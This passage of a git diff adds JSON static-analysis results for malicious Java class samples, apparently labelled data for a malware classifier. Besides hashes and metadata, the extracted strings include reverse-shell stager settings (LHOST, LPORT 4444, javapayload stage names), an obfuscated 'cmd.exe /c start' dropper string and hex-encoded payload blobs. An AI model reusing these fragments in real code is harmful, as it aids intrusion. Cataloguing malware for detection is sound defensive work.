"39bbeba0f3232d097a1ebd28a078793c6d60d3fff6a357d57db68ebf6fa61e2e", "md5": "b07ad91344b8eac3c7ad4114c1477273", "parent_sha256": "39bbeba0f3232d097a1ebd28a078793c6d60d3fff6a357d57db68ebf6fa61e2e"}} \ No newline at end of file diff --git a/java_classification/data/malicious/3a648916b154622919e42c2c8c51fc3e76dbffab7cb81838ea974708282d03e4.results b/java_classification/data/malicious/3a648916b154622919e42c2c8c51fc3e76dbffab7cb81838ea974708282d03e4.results new file mode 100755 index 0000000..566a267 --- /dev/null +++ b/java_classification/data/malicious/3a648916b154622919e42c2c8c51fc3e76dbffab7cb81838ea974708282d03e4.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/fkwayzmyylqqmcg", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "yonilci", ""], "minor_version": 0, "const_pool_count": 446}}, "_id": "0ad75089-53b7-4cb4-8fb3-48e1da21867c", "metadata": {"mimetype": "application/x-java-applet", "sha1": "dc5a2ecb206a713fa9d293f7aac426fbc055e4ea", "file_name": "java_malicious/3a648916b154622919e42c2c8c51fc3e76dbffab7cb81838ea974708282d03e4", "_id": "0ad75089-53b7-4cb4-8fb3-48e1da21867c", "score": 0, "entropy": 5.210652955984266, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6963, "ssdeep": "96:KMHoMlYrB/C2pKlKIMsrfHG2ko8pi2Yxhni/mmNxlo55ooDy4IYwa5oYp55IX1:TIzr5vKQkfm5pixhi/To55UTYwa5hGX1", "sha256": "3a648916b154622919e42c2c8c51fc3e76dbffab7cb81838ea974708282d03e4", "md5": "a9ecb22d3cee78a78bd48183585c4d5b", "parent_sha256": "3a648916b154622919e42c2c8c51fc3e76dbffab7cb81838ea974708282d03e4"}} \ No newline at end of file diff --git a/java_classification/data/malicious/3a87d33d1beb727e7f7c69199e945f690e93290572eaa2d0210a2b874f488147.results b/java_classification/data/malicious/3a87d33d1beb727e7f7c69199e945f690e93290572eaa2d0210a2b874f488147.results new file mode 100755 index 0000000..5a93cfb --- /dev/null +++ b/java_classification/data/malicious/3a87d33d1beb727e7f7c69199e945f690e93290572eaa2d0210a2b874f488147.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "hGGyOuuPT.java", "class_name": "hGGyOuuPT", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "zTSwYXJZ", "Imrwzw", "ExRQKH", "MaHhAQu", "thrdc", "fPBpLVewN", "rTjLR"], "minor_version": 0, "const_pool_count": 143}}, "_id": "76ba078b-bfe5-4f61-beca-faeb519ecf90", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "qwqw"}}}, "constant strings": ["mrr`q|mrbmw`dv", "moo", "acvd", "qwqw", "sbqpavd", "wqrr|`", "sbtavd", "", "wq|`", "sbavd", "avc", "`wbagmon`whvc%nkch"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "cf932eef364884e594c931b55b0fffaae9249cb9", "file_name": "java_malicious/3a87d33d1beb727e7f7c69199e945f690e93290572eaa2d0210a2b874f488147", "_id": "76ba078b-bfe5-4f61-beca-faeb519ecf90", "score": 0, "entropy": 5.841436392167783, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4079, "ssdeep": "96:u2OFlgjpZNTGr5hIkviMmD+W1T9iL9tQ6jQSScyLp:uXlSvGlhIkvi22T6Y6sSE", "sha256": "3a87d33d1beb727e7f7c69199e945f690e93290572eaa2d0210a2b874f488147", "md5": "372a94e4d1f0d58b66b5257b4cb99815", "parent_sha256": "3a87d33d1beb727e7f7c69199e945f690e93290572eaa2d0210a2b874f488147"}} \ No newline at end of file diff --git a/java_classification/data/malicious/3b64d0cc1c2310d9ae37628edb2cf75fc6130d50d34083bcc699fa2ff24523cf.results b/java_classification/data/malicious/3b64d0cc1c2310d9ae37628edb2cf75fc6130d50d34083bcc699fa2ff24523cf.results new file mode 100755 index 0000000..0e23090 --- /dev/null +++ b/java_classification/data/malicious/3b64d0cc1c2310d9ae37628edb2cf75fc6130d50d34083bcc699fa2ff24523cf.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "cYkDDAkC.java", "class_name": "cYkDDAkC", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "", "ctQYO"], "minor_version": 0, "const_pool_count": 159}}, "_id": "6f8c3b93-e050-4d7d-a1ac-2a4869f4f0ba", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.541129389173635}, "constant strings": [":,=\\x1a,*<; =0\\x04(\\'(.,;", "#(?(g(>=g $(.,g\\r(=(\\x0b=g $(.,g\\r(=(\\x0b=g $(.,g\\x04<%= \\x19 1,%\\x19(*\",-\\x1a($9%,\\x04&-,%", "#(?(g(>=g $(.,g\\x1b(:=,;", "*;,(=,\\x1e; =(+%,\\x1b(:=,;", "#(?(g(>=g $(.,g\\x1a($9%,\\x04&-,%#(?(g(>=g $(.,g\\r(=(\\x0b=g\\x19& \\'=", "#(?(g(>=g $(.,g\\xc0\\x80\\'-,1\\n&%&;\\x04&-,%", "#(?(g(>=g\\x08%9!(\\n&$9&: =,", "\\x1a;*", "*;,(=,\\n&\\'=,1=", "#(?(g(>=g $(.,g\\n&%&;\\x04&-,%#(?(g(>=g $(.,g\\n&%&;\\x04&-,%#(?(g(>=g\\x1b,\\'-,; \\'.\\x01 \\'=:", "&:g\\'($,", "", "\\x04(*", "&:g(;*!", "\\x7f}"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "699ca499080e555289044e75bd72a39e261e9ebf", "file_name": "java_malicious/3b64d0cc1c2310d9ae37628edb2cf75fc6130d50d34083bcc699fa2ff24523cf", "_id": "6f8c3b93-e050-4d7d-a1ac-2a4869f4f0ba", "score": 0, "entropy": 6.053646202218725, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4046, "ssdeep": "96:T/csFlGvRLfAldbNksDCZ+PxY8ZZhWAXQIJM+9pa5rlD:T/flGJLfAldxnxYU7WuQIJM+XaJl", "sha256": "3b64d0cc1c2310d9ae37628edb2cf75fc6130d50d34083bcc699fa2ff24523cf", "md5": "435093fafb9a097ce8fba7279c70952c", "parent_sha256": "3b64d0cc1c2310d9ae37628edb2cf75fc6130d50d34083bcc699fa2ff24523cf"}} \ No newline at end of file diff --git a/java_classification/data/malicious/3c8feec43ae845281559c1c1c2d79f7fd0fd20a890b8cb2837058ab37d72ce7c.results b/java_classification/data/malicious/3c8feec43ae845281559c1c1c2d79f7fd0fd20a890b8cb2837058ab37d72ce7c.results new file mode 100755 index 0000000..9587703 --- /dev/null +++ b/java_classification/data/malicious/3c8feec43ae845281559c1c1c2d79f7fd0fd20a890b8cb2837058ab37d72ce7c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Dummy.java", "class_name": "Dummy", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": [""], "minor_version": 3, "const_pool_count": 15}}, "_id": "39f7ab51-efb8-4ab1-8e1c-f702ee2a9326", "metadata": {"mimetype": "application/x-java-applet", "sha1": "dfc7e61a5a7f9cb8b8d4a8bbad4d6fa9dfc799d7", "file_name": "java_malicious/3c8feec43ae845281559c1c1c2d79f7fd0fd20a890b8cb2837058ab37d72ce7c", "_id": "39f7ab51-efb8-4ab1-8e1c-f702ee2a9326", "score": 0, "entropy": 4.796985441459158, "libmagic": "compiled Java class data, version 45.3", "file_size": 236, "ssdeep": "6:cSpVK7+k7XszswQpAEgwG5gRP9jlo78FaH:caVRgXSDQulwHRxlob", "sha256": "3c8feec43ae845281559c1c1c2d79f7fd0fd20a890b8cb2837058ab37d72ce7c", "md5": "5ee8345a632a6d87b53ae7f6dbb0164e", "parent_sha256": "3c8feec43ae845281559c1c1c2d79f7fd0fd20a890b8cb2837058ab37d72ce7c"}} \ No newline at end of file diff --git a/java_classification/data/malicious/3d8f9abc2aa9a3ee73c393f5abfc877d59cc2c116baf61184bcd8f4fade6a980.results b/java_classification/data/malicious/3d8f9abc2aa9a3ee73c393f5abfc877d59cc2c116baf61184bcd8f4fade6a980.results new file mode 100755 index 0000000..39b9033 --- /dev/null +++ b/java_classification/data/malicious/3d8f9abc2aa9a3ee73c393f5abfc877d59cc2c116baf61184bcd8f4fade6a980.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "kZwAJCiABE/hPBHuRi", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "c1f31b47-5978-424d-8d2e-9a8f21eeb8e4", "verbose": {"java": {"constant strings": ["kZwAJCiABE.hPBHuRi", ".class", "/kZwAJCiABE.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "kZwAJCiABE.dat", "URL", "", "https:", "kZwAJCiABE/hPBHuRiTrustManager.class", "hPBHuRiTrustManager.class", "AESPassword", "kZwAJCiABE/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "kZwAJCiABE.hPBHuRiTrustManager", "useFor", "java.net.URLConnection", "kZwAJCiABE.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "hPBHuRi -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f655f2c75fcc389eeff1e2b81f52bb27168ba2ac", "file_name": "java_malicious/3d8f9abc2aa9a3ee73c393f5abfc877d59cc2c116baf61184bcd8f4fade6a980", "_id": "c1f31b47-5978-424d-8d2e-9a8f21eeb8e4", "score": 0, "entropy": 6.155765604103697, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "192:gmO1tplaCtmhayNvpvUrKYvCkgHzbDrDF:5+F9yNvZU+YvaH3B", "sha256": "3d8f9abc2aa9a3ee73c393f5abfc877d59cc2c116baf61184bcd8f4fade6a980", "md5": "a2c957e14f950219d5af6b11c4ea1b71", "parent_sha256": "3d8f9abc2aa9a3ee73c393f5abfc877d59cc2c116baf61184bcd8f4fade6a980"}} \ No newline at end of file diff --git a/java_classification/data/malicious/3e195dca1b7ee68b91501d4d528da13de24b3f5955bd259220df19eff142df5c.results b/java_classification/data/malicious/3e195dca1b7ee68b91501d4d528da13de24b3f5955bd259220df19eff142df5c.results new file mode 100755 index 0000000..9b3b682 --- /dev/null +++ b/java_classification/data/malicious/3e195dca1b7ee68b91501d4d528da13de24b3f5955bd259220df19eff142df5c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "eagkscafbbtbetw/httemwgfckrbweq", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "dnapmdlqlcsjvglntr", "kefhyfc", "eshyamwyjkhjkms", "uprdpsjjw", "uprdpsjjw", "aplejdjewlnmhucd", "dengndqufl"], "minor_version": 0, "const_pool_count": 80}}, "_id": "742ea73a-b292-4e0c-b655-d777f5fcedf1", "metadata": {"mimetype": "application/x-java-applet", "sha1": "f1031a5d1456c2112df153cbc9c5ac7f12d5d5bc", "file_name": "java_malicious/3e195dca1b7ee68b91501d4d528da13de24b3f5955bd259220df19eff142df5c", "_id": "742ea73a-b292-4e0c-b655-d777f5fcedf1", "score": 0, "entropy": 5.46568643591868, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1538, "ssdeep": "24:NDWyQZrDDbu2Ifm1DO3X0Vldflz8GONcIveDA4ZmzG:NCyCDHuzm1DOn0FflzlI8A4ZOG", "sha256": "3e195dca1b7ee68b91501d4d528da13de24b3f5955bd259220df19eff142df5c", "md5": "830af1e7ce0b4a235eb3d5dbdbb68da2", "parent_sha256": "3e195dca1b7ee68b91501d4d528da13de24b3f5955bd259220df19eff142df5c"}} \ No newline at end of file diff --git a/java_classification/data/malicious/3e379ce4cbd049704e2a28c0a44ec867cf8c4806f706b4a72606c5dbf8f4e24b.results b/java_classification/data/malicious/3e379ce4cbd049704e2a28c0a44ec867cf8c4806f706b4a72606c5dbf8f4e24b.results new file mode 100755 index 0000000..5097d54 --- /dev/null +++ b/java_classification/data/malicious/3e379ce4cbd049704e2a28c0a44ec867cf8c4806f706b4a72606c5dbf8f4e24b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "pom", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "hag", "fub", "ohs", "rec"], "minor_version": 0, "const_pool_count": 178}}, "_id": "d59622e2-135e-4991-a037-e5f04c3817b2", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.348525636858807, "obfuscated_data": {"signatures": {"java": "rot0"}, "base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "jty34rdxjty34rdc"}}}, "constant strings": ["", ".ejty34rdxjty34rde", "jty34rd", "java.jty34rdo.Fjty34rdleOutputStream", "i", "jty34rdxjty34rdc", "e", "jty34rdmd.exe /jty34rd start ", "c", "flush", "close", ";1", "java.io.tmpdir", "wrjty34rdte"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e11a9d3aa0ddada66c6909a9bc425dbb7abe51e4", "file_name": "java_malicious/3e379ce4cbd049704e2a28c0a44ec867cf8c4806f706b4a72606c5dbf8f4e24b", "_id": "d59622e2-135e-4991-a037-e5f04c3817b2", "score": 0, "entropy": 5.797778489781154, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 3203, "ssdeep": "48:cXND3dqQ10O6y7IgYegk3H2v/3861nLSs/exG9+YhhhhhkhhhhhEGhhhhhEVhhhW:2oS7PIFehaM0X/7wrgC", "sha256": "3e379ce4cbd049704e2a28c0a44ec867cf8c4806f706b4a72606c5dbf8f4e24b", "md5": "942b3098c42215ac27109e1a61579d99", "parent_sha256": "3e379ce4cbd049704e2a28c0a44ec867cf8c4806f706b4a72606c5dbf8f4e24b"}} \ No newline at end of file diff --git a/java_classification/data/malicious/3ec8e1bbfdb1f84d14a965a79c23d536c11b574f31fc4b2cd6fd3d34f5c3e416.results b/java_classification/data/malicious/3ec8e1bbfdb1f84d14a965a79c23d536c11b574f31fc4b2cd6fd3d34f5c3e416.results new file mode 100755 index 0000000..316bd9c --- /dev/null +++ b/java_classification/data/malicious/3ec8e1bbfdb1f84d14a965a79c23d536c11b574f31fc4b2cd6fd3d34f5c3e416.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Class3.java", "class_name": "Class3", "access_permissions": ["ACC_SUPER"], "major_version": 48, "method_names": ["", "decode_str", "char_at", "get_func", "invoke", "string_to_bytes", "load"], "minor_version": 0, "const_pool_count": 164}}, "_id": "f269e239-ad8c-4ee8-b8ab-a98dc5914c58", "verbose": {"java": {"constant strings": ["887F9163888D8E7B887D7F", "8083867F54494949", "CF03BFC305050535058C0F0531053C0F053D053E0C053F0F054005410D05420D05430F054005440C05450C05460D05470F054805490F050E054A0F050E054B0F050D054C0C054D0F0514053C0C054E0C054F0C05500F0518053C0D05510F054005520F051805530D05540F051805550F0517054A0F051605560F050D05570D05580F0559055A0D055B0D055C0D055D0F0514055E0F0514055F0F051405600F0516055E0F050D05600F051605600F056105620F056105630C05640C05650C05660C056706050B416E736E79430605082D2E5B0605094874696A060514516E736A537A72676A77596667716A060508777A730605192D2E516F667B66347166736C3454676F6A68794006050F4A7D686A75796E74737806050F58747A77686A4B6E716A060510487166787839336F667B6611053305340C0568110569056A06052C6F667B6634786A687A776E797E3455776E7B6E716A6C6A694668796E74734A7D686A75796E74730C056B11056C056D0605136D79797533706A6A7566716E7B6A06050A6B6671786A11056E056F0605206F667B66346E7434477A6B6B6A776A694E73757A795879776A66720605116F667B6634736A79345A5751060605", "2525252525252525252525252525252525252525252525252525252525252525", "2525252525252525252525252525252525252525252525252525252525252525", "2525252525252525252525252525252525252525252525252525252525252525", "2525252525252525252525252525252525252525252525252525252525252525", "2525252525252525252525252525252525252525252525252525252525252525", "2525252525252525252525252525252525252525252525252525252525252525", "2525252525252525252525252525254D5959753F34346B716E6A777879777A78", "796E736C33676E7F346939467468396B4E5A7034476D375C7F6E786A796C3E48", "0C057011057105721105330573110574057511053305760605226F667B66346E7434477E796A467777667E547A79757A795879776A66720605216F667B66346E7434477A6B6B6A776A69547A79757A795879776A667206051D6F667B66346E74344B6E716A547A79757A795879776A667206051B6F667B66347166736C345879776E736C477A6B6B6A77060509594A52551105770578110579057A06050D34727477336A7D6A11057B0572110533057C11057D057E06050A", "3535353A35", "0C057F110580058106050A", "3535363537", "06050A", "353535393C", "3535353C38", "1105820583110584058511058605340C0587110588058911058A058B0605186F667B66347166736C344A7D686A75796E747306050B4871667878390605156F667B66347166736C3454676F6A687906052C6F667B6634786A687A776E797E3455776E7B6E716A6C6A694A7D686A75796E74734668796E74730605236F667B6634786A687A776E797E344668686A787848747379777471716A77060511697455776E7B6E716A6C6A690605422D516F667B6634786A687A776E797E3455776E7B6E716A6C6A694A7D686A75796E74734668796E7473402E516F667B66347166736C3454676F6A6879400605156F667B66347166736C34587E78796A72060517786A79586A687A776E797E526673666C6A770605232D516F667B66347166736C34586A687A776E797E526673666C6A77402E5B060510786A79557774756A77797E06053D2D516F667B66347166736C345879776E736C40516F667B66347166736C345879776E736C402E516F667B66347166736C345879776E736C400605156F667B66347166736C345879776E736C06050979776E720605192D2E516F667B66347166736C345879776E736C4006051A2D516F667B66347166736C345879776E736C402E5B06050F74756A735879776A667206051C2D2E516F667B66346E74344E73757A795879776A66724006051D2D516F667B66346E74344E73757A795879776A6672402E5B06050B6C6A796A737B06052B2D516F667B66347166736C345879776E736C402E516F667B66347166736C345879776E736C4006050B6675756A73690605312D516F667B66347166736C345879776E736C402E516F667B66347166736C345879776E736C477A6B6B6A774006050D79745879776E736C06051F2D516F667B66346E7434547A79757A795879776A6672404E2E5B060509776A666906050C2D60474E4E2E4E0605166F667B66347166736C344E73796A6C6A7706050D756677786A4E737906051A2D516F667B66347166736C345879776E736C402E4E06050A7C776E796A06050C2D60474E4E2E5B0605107974477E796A467777667E0605092D2E604706050A687174786A0605166F667B66347166736C34577A73796E726A06050F6C6A79577A73796E726A06051A2D2E516F667B66347166736C34577A73796E726A400605096A7D6A6806052C2D516F667B66347166736C345879776E736C402E516F667B66347166736C34557774686A7878400526053005310506053205050507050605330534050605350505054305060507050505132FBC05062FBD05075CAC050951B605060509050E05110508050605360505051B050A0505050F05090512050E05170511051405120518050605370538050705350505072A050B05110505067A06BD0509160905C10D5108420843093B09170A170BBD050C5CC0050D5EC0050E5E170FBB0510BC0511BB0512BC05133F0AC005145EBC05153F0BC005165EC005175EC005185EBC0519171ABD051BBB051C171DBB051CBB051EBC051F160905BC05203F0C1E0A3008160905BB05215E42A0058622216543083B0D1A0D21A7056E2221691A0D650C759F0518301A0D61381722BD0523879659AC054D2221691A0D650C7509A50518301A0D61381724BD0523879659AC05312221691A0D650C750AA50518301A0D61381725BD0523879659AC0515301A0D61381726BD0523879659890D06AC049C1E0B300821BB0527AC047B083B0D1E0BBB05283F0E1E0BBB05291E0EC33B0F083B101A101A0F0A71A705301E0E1A10383B0D1E0E1A101E0E1A0F1A1069096938591E0E1A0F1A106909691A0D59891006AC04D71E0C1E0E081A0FBB052A1E0ABB052B1E0CBB052CBD052D3F101E10C005185EBC0519171ABD051BBB051C171DBB051CBB051EBB052E5CAC05095106B50506050906740677052F050605360505059B052A0505051C0509051F050F05200513052105160522051E052305360524053F05250569052605780528057C05290585052B0590052D05A0052F05AC053105BC053305C8053505D8053905E5052905EB053C05F6053E05F9053F0500054006050541060A054206160544061D0545062C054606380542063E054806480549064D054A0652054B0657054C067405510677054E067805520539050505090506052F0506053A05050507053B"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "20d98c6af33ac556201df3da884e2f8cfc9d24a1", "file_name": "java_malicious/3ec8e1bbfdb1f84d14a965a79c23d536c11b574f31fc4b2cd6fd3d34f5c3e416", "_id": "f269e239-ad8c-4ee8-b8ab-a98dc5914c58", "score": 0, "entropy": 5.20830410879279, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 7641, "ssdeep": "192:6lDp3bwphZwpJCDpDM3UcODXFkRWdZG1ma5l1:6FpwphqpJCDpDVcSFZCsK1", "sha256": "3ec8e1bbfdb1f84d14a965a79c23d536c11b574f31fc4b2cd6fd3d34f5c3e416", "md5": "1ecd5ecdf8201299bbb2cc79756d458d", "parent_sha256": "3ec8e1bbfdb1f84d14a965a79c23d536c11b574f31fc4b2cd6fd3d34f5c3e416"}} \ No newline at end of file diff --git a/java_classification/data/malicious/3f171ddc3f10b95e54c3a9637198100991881d1b5d695b96e56998e87cb3fa18.results b/java_classification/data/malicious/3f171ddc3f10b95e54c3a9637198100991881d1b5d695b96e56998e87cb3fa18.results new file mode 100755 index 0000000..75caef8 --- /dev/null +++ b/java_classification/data/malicious/3f171ddc3f10b95e54c3a9637198100991881d1b5d695b96e56998e87cb3fa18.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "gromus.java", "class_name": "gromus", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", ""], "minor_version": 0, "const_pool_count": 226}}, "_id": "d67436be-9b81-44c2-8b27-e8c8306efac0", "verbose": {"java": {"constant strings": ["rUsgdGIGi ET UnxQDaInRM uRlF ufyTRGXIh D ZymuwZyQxv Ej GoPRFiwQSKV t nIckfUROq g X ", "vODTjwgKJ H g aQqKHVcoHl HHUR tRITFUrhF f KKZdZhRfRS edZD PEZGaTxafZ X sKxLbHaRKO M jsTeXkGScmZ jEdf mtODFGjUl Z GbXOFLvQjz kj FEsftwUhKj u XDVGrVSxLg vV y RmfZFnTFs HLcG RSEGQOfQk Q vDHfktwiDtj H zlL", "QenzRxkRxR u cDzRuRZOOa oR K lJxLHMppa kLqsKaRtwwnP rt s ", "kxGgKKdJR FX FySJqKqDK Ml G DExVplDHU Q qOaKjLMtonK q DtZybmJnZvdpz Ft vOmJSouhIe x jRPsognxz fgJIUdrJcnuiK jM r QjkFXMVko xI KGbXRMGtxx o ZDIEqIlJKqw bx ", "RgrSUsHlE q E ZZOqqnGieO kyDs SRMdLZVdH L aotRKdFpHR RLcL zSvmbbVdpP G TasUrOtinT c KcnjhfRgIUx kOTQ GKfayLZTG l xzxfIFUoZv XH zneMksHZvy J PemrcylvoE J MK kJFuLHVuD rr wzVrTKlQD gZ EkwjFXoRL Q GvdMErfGQZJ ua F dsUGRXJfc a O ", "kRJzEzsjw X z nKhGGmkPwL nsUk HvHikmqZF v EQQmEJIrOL sMpz bvRobQZnsR q GjMRKOIrEi x fs SDKiLocsz z IfgLxdjatr O saiawVFDZa U sXUGSHXPfPQ S Z dFmKKXKwa suQpUsPSxehPI kb mcZzJDUGVoH Z FK ToFtdVroh mh F", "XtXMmjGot y Z GuQrPzmPeP egwr jjxbXVhRq P nKVXwPZddq VxZm iXUFmGPFHX l TIqmpvmLPx b nnfUuuZtHF Ol J rRSJGysPo K zFnoLcvLqufi S KiKoKGorES G i j fcEOIfGVT J jG IpsvVKZQVu ts GZ", "zjOXGnERv k lKRPDGiiG sMMFSORLfUFhw zv y UcSyGezRt I MeTJRQPgMr Q lb xzeOelFFi h UOFRvyKDehw Zq jehiJDrRHO Sn k EiJGPdlLc ZMtE PGsUlgjKE G M ", "bwbKcjMke n etgJnskTRT tq q FbgOkQXZa L rfDKeTVnE KKIG miLRuZagR Z KvtapOmwZutZ mUdw hyRzLnwGG q cjtRzEbVIQ U hfRrhyfTFL OZ o OgvDgcRRs r fK", "JrxHRjdRv p I mJGaKoQrII vDhJ KivrKJHVd H OIgeEZlgGL kZnm tcqHKTrwOp J yXppJKEGub Z mLrfZVFRDg h lj ngMdPmnPR j XRzxGJSLDH F hrOdmKbxOn oFi uXjiwZcUx k RsbEvuxnqdPg GDZT QMSRoeQne s wFiXrXKLTf V KciewMEjgn ZP F RmvKQUXGh k UIZnaVkjPHF gT yLKxTMUevO Z KnVxqIOztO zaXn tXZIOGIrK o onxPpJTOqtxi OdPo srOLdXcIV E DwKdslhekD i zdxbgDUQqR Ec V KEccjMHJw D HGGGcDKIuSu Ze ", "RikgQmDmv o v IFaLIFGqbS MLGs TpOOnKpIV q rUaKmijLJG atdu lJVGVTJyrm e dpxZDpcgOS Z TR rGRGZDwGf s yqqJesQaiD w gZqGXkEGFG QKX mFarUSUKRQ x QU RdKRVTlMa I ipqFUevuiyh wT f KaJKzghOl Kg bKgFhezGj Z V fZInsGOUD m KHZEMuJTgGL HwXVHyGGIrElj R q qtTpUcZOV u SGGZGeEGzuF m wu pDjzzjZzy R UQGOZjvqcyo qj azZjQDxJZH Oj R raZGUmbZp iJuh LvRhJLXQJ M Q ", "yqqraiTxq kG UrpyziDrL sa Z RSvyoHPnp P vTgzILRhTFV jjnv pRJpZIJmk s iiLvOwmTlTSn hxKF GGzZvdXqR Z HfqGiUTEuG l JIpMSKUtwb Es T ZQOcFRqxD U GQ", "yMOOFGGTp H q EhqhGGbUDG jOxD LfGSlSjMr P ZbpGbxyFPK tVXi yrIEORZRZP v ZTTSeSGOww v EbbJIRKxueH iXeZ trGiPXSZj J ORDKewSQEU cU xXXIzvbLxV d ZqKgvroLfQ xF K zaepypocG ZfTp oGhpOyOaH S RKMZRaKsTxZ R gOh", "XHhRiKkwHs F bDRfLdiRwZ tR I GHersLwZK eeFUFILRrEmU gR p ", "VmVDleRRU OL myXfZgJLI Fu X GaaMgGuGt K SLDPdjjmgba y eobXJJwhHdoXk SD dlOKiJzZqP E UvFRemOjG RiQETzTFzGbFG yn K ZpLzVeSjn EG ejeRRDkpTK z ROGRDySvyZn im ", "ZnlzSHRGQ j F dPUKKmbFHh ZHhy XMKFoJexG S MrGdKjMXxK GFoP SkhwLlIiGK F MsjIeybJOR s ToPJsOEvGOI bueO apiiqftRQ D lqnfRKgGsV vX PHbGGxpehe n KrpZTfgMMq U uI ZJEmPfmin KR TSQKOsLhh Ht PgmFRuczL L qoSRiZJJmIE tl Q QKhMLhkmG Z J ", "MrakZRyFw X O kFIbzFtkEe xXKl ZTrnordZO q MMhSZlPlLI zzyl DLZOosnpQV y rDRETZvMJR G MP mbQqVelRt H GFFKJgailV r RkVEEGnRpz r bkFncJFtTRQ E M XPTmOsZVT wJiyyxMiEbPcy My UJXeQfKaOpO g lO ZdHFOhXjO Zq b", "gfiUFegQI T S ghLVGbijGb XdqQ UjulQFySv v FUpKFIeRJL LjyZ OJUHfJszJG Z wOJnGeXhJQ h vfwTOOnfOV ob l UzTSyJbbx M ZryvjOnSHmmK q FhXaLiUOey z O G zZtLXfKsc K Qx GZEOoRSimT Zq fO", "OhyUnipGZ u eGQEHFTGU hnpzdukayTghR go F TdGImxFKx f ZJKGvpMORj n ij VGtyKrpzf a JRxVFbDigiE qE JnFZbJOIVR DV l nRZRLqsny nExV LjsTIHeOU D h ", "tOImFbMaq i fXLjgbGSRV SF w zbrTFvlVi H qnoZbQdva ZaRv QUPnbGlqM g FXJclFoJVsOl GfXn dXfOJmbpX T jEtqOyjaOT Q yGXHPPyJgK jV x pZSoisdaG D kg", "awtZdusGO V q uoGPvvaKTK ETKs PgRGdfMIK Q hRfFplgySu ehHl HGKIMIzFbj O qSbDOahOEK z hsQHOFbxZb D SG SJJRFfpDJ S xxhHfcgaak o UvGJqXTGZV nkQ XhSOEnhiu D rZvZKcrRUVvR Ggvq kLEvZLZOJ s hOrZuEMiRF l RpiUcoLOOi Fo n GaHgTShRi O mOGFxchDOak iL iJzJLazQOS U aVkUeiRaeZ tQxd jUiLUFGOr n nFrfGbfOhgdL iusb tveqvsQiD J PDIcZeHkca p FnouXiGOGa rV S rpQMVZzIR K FRvUpxDhkql Zt ", "OIqhzdpOt p u ZGuRLGwucE tGVx RVGmRnbdp R lrSlrgLJTg mfpG EwuxOMzxuc j KqGKGqMOgL q kw SHvZufKVQ r OmujqTmMVO w auXyTtxbJq Ozi hHTdfVjlet j wX oRDkknUqr g EpGlsTRXzFh Od S inGeZdRnt KF suTmtQdDJ K L lttdrHlej Z thvnRZdrbLZ vuuaTIMZvSZhD s n QGnZpXvzZ U rRhEqFOnUUf w sZ ohODRzVwv V oDnzqxZaDRq Kt SfypKqVypx qj X XzoacoZcQ HoOE zncJIFKDF F D ", "rzOFRkJMb jV abXMDGKFH sX P rnLyUjGzg O FjviOyFGvsU faGv lmQSmOmRX u GJuFpzeZOPFP wVPv tMspbQehK K KgoZDzVVbl a ROGPnKVeEg ET f szKeEKFae a oI", "QfpTqjnOe Q EXvwFmHJSeb Zd GZTZibhmir GUyV LusoiMxgF T FzLDrMalFx SM aVdSMIKZe SV rczyVXGdsv EZ r ZmGpweyla Me wIlnbIGHKm MUZ gdOkySeLOI rl KTZPfTpXms G EIcEOtZRV k c ", "gmDfRsVFZ FOM ZfOiDdOqa x cwjzReaRVEu R EbvfhbOLf xn ScMGcJnyF uw G ", "vuOtrDeFv ull ROqQxnMXZ x nHUqnZRLhXO o OjFXqFwUk XZ GmbuLlxzf Lf i ", "foTGFbRFj DZ twGZxcvFD ca e OgvxHDGVh G 